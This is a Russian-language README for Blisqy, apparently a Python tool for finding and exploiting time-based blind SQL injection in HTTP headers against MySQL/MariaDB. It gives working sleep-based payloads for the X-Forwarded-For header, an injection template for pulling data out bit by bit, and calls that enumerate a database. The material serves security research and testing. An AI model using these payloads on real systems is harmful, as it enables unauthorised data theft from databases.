
Версия 0.2 - Эксплойт для Time-based blind-SQL injection в HTTP-Headers (MySQL/MariaDB).
Blisqy — это инструмент, помогающий исследователям веб-безопасности находить временные слепые SQL-инъекции (Time-based Blind SQL injection) в HTTP-заголовках, а также эксплуатировать эту уязвимость.
Эксплуатация позволяет медленно выкачивать данные из базы данных (в настоящее время поддерживается только MySQL/MariaDB) с помощью побитовых операций над печатаемыми символами ASCII через слепую SQL-инъекцию.
Для совместимости с другими инструментами на Python и возможности использовать функции, предоставляемые Blisqy, модули можно импортировать в другие скрипты на Python.
При тестировании временных слепых SQL-инъекций любая задержка или перегрузка сети может повлиять на эффективность фаззинга или эксплуатации. Чтобы компенсировать возможные сетевые задержки и неопределённости, которые могут вызывать задержки, сравнение времени в Blisqy является динамическим и вычисляется во время выполнения для каждого теста. Тесты используют greenlet (легковесный, кооперативно планируемый исполняемый блок) для предоставления высокоуровневого синхронного API поверх цикла libevevent. Это обеспечивает быстрый и эффективный способ выполнения тестов полезной нагрузки за короткое время, при этом один конкретный тест не должен влиять на другой, поскольку они выполняются не строго последовательно.
Blisqy теперь поддерживает фаззинг на предмет временных слепых SQL-инъекций в HTTP-заголовках, а основные функции (фаззинг и эксплуатация) разделены на независимые файлы для портативности.
Чтобы использовать функцию фаззинга, импортируйте следующий модуль в свой скрипт на Python и укажите цель вместе с данными для фаззинга, как показано ниже:
from lib.blindfuzzer import blindSeeker
Параметры цели должны быть в формате словаря/JSON, например (Обратите внимание на типы данных переменных):
Server = '192.168.56.101'
Port = 80
Index = 1
Method = 'GET'
Headerfile = "fuzz-data/headers/default_headers.txt"
Injectionfile = "fuzz-data/payloads/mysql_time.txt"
target_params = {
'server': Server,
'port': Port,
'index': Index,
'headersFile': Headerfile,
'injectionFile': Injectionfile,
'method': Method
}
Запуск фаззера после предоставления параметров цели осуществляется следующим образом:
vulns = blindSeeker(target_params)
vulns.fuzz()
Вы можете ознакомиться с FindBlindSpot.py для этого примера.
При успешном выполнении вы должны получить отчёт о «инжектируемых» проведённых тестах. Обратите внимание, что, хотя Blisqy старается компенсировать сетевые задержки и перегрузки во время тестирования, важно проверить сообщённые положительные тесты перед продолжением.
Ниже приведён пример отчёта:
=================== [ Ключевые термины] ===================
Index = Настроенная константа (Задержка)
Base Index Record = Пинг сервера перед фаззингом
Benching Record = Base Index Record + Index
Fuzzing Record = Время обработки запроса с Index
===================== [ Логика] =====================
Если Fuzzing Record больше, чем Benching Record,
считаем результат положительным; иначе — отрицательным.
[+] Инъекция : X-Forwarded-For : ' or sleep(1)#
[+] Заголовок : X-Forwarded-For
[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Тест 436 — инжектируемый.
__________________________________
[+] Инъекция : X-Forwarded-For : ' or sleep(1)='
[+] Заголовок : X-Forwarded-For
[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Тест 438 — инжектируемый.
__________________________________
Скриншот работы фаззера Blisqy:

После нахождения потенциальной временной слепой SQL-инъекции вы можете подготовить скрипт для эксплуатации уязвимого веб-приложения.
Как и для фаззера, вы можете импортировать модуль для эксплуатации в свой скрипт на Python и определить шаблон для операции эксплуатации. Ниже приведён пример того, как импортировать модуль в скрипт на Python:
from lib.blindexploit import SqlEngine
Далее вам нужно указать данные вашей цели вместе с её параметрами для эксплуатации. Ниже приведён пример реализации эксплуатации найденной слепой SQL-инъекции, обнаруженной фаззером:
Данные цели должны быть в формате словаря/JSON с указанием сервера, порта, найденного уязвимого заголовка и его значения (некоторые приложения требуют или проверяют определённое значение). Также обратите внимание на типы данных переменных.
target = {
'server': '192.168.56.101',
'port': 80,
'vulnHeader': 'X-Forwarded-For',
'headerValue': 'fuzzer'
}
Параметры цели должны следовать за этим, позволяя пользователю указать некоторые опции, связанные с предпочтениями эксплуатации.
targetParam = {
'sleepTime': 0.1,
'payload': 'pass',
'mysqlDig': 'yes',
'interactive': 'on',
'verbosity': 'high'
}
select @@hostname. Значение по умолчанию — 'pass'.После предоставления цели и её параметров следующим шагом нужно задать шаблон для процедуры эксплуатации. Blisqy предоставляет способ, позволяющий пользователям указать, куда вставлять полезную нагрузку для эксфильтрации SQL и задержку sleeptime. Ниже приведён пример реализации для одной из найденных уязвимостей из примера отчёта, приведённого в предыдущем подразделе.
Найдена инъекция в заголовок X-Forwarded-For:
' or sleep(1)='
Шаблон для этой конкретной инъекции:
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"
Во время выполнения *sql* будет заменён на полезную нагрузку SQL-инъекции, а *time* — на задержку для sleep().
После того как всё это сделано, последний шаг — создать экземпляр процедуры эксплуатации и позволить методу MysqlDigger() выполнить работу.
# Создаём экземпляр
BlindSql = SqlEngine(target, targetParam, sqli)
# Перечисляем базу данных MySQL
BlindSql.MysqlDigger()
Вы можете проверить ExploitBlindSpot.py для этого примера.
Ниже приведён пример операции эксплуатации:

Вы можете сообщить мне о чём-либо интересном, найденном с помощью Blisqy, или о том, что, по вашему мнению, следует добавить/удалить.
(PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. Доступно по: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation
PentesterLab — From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course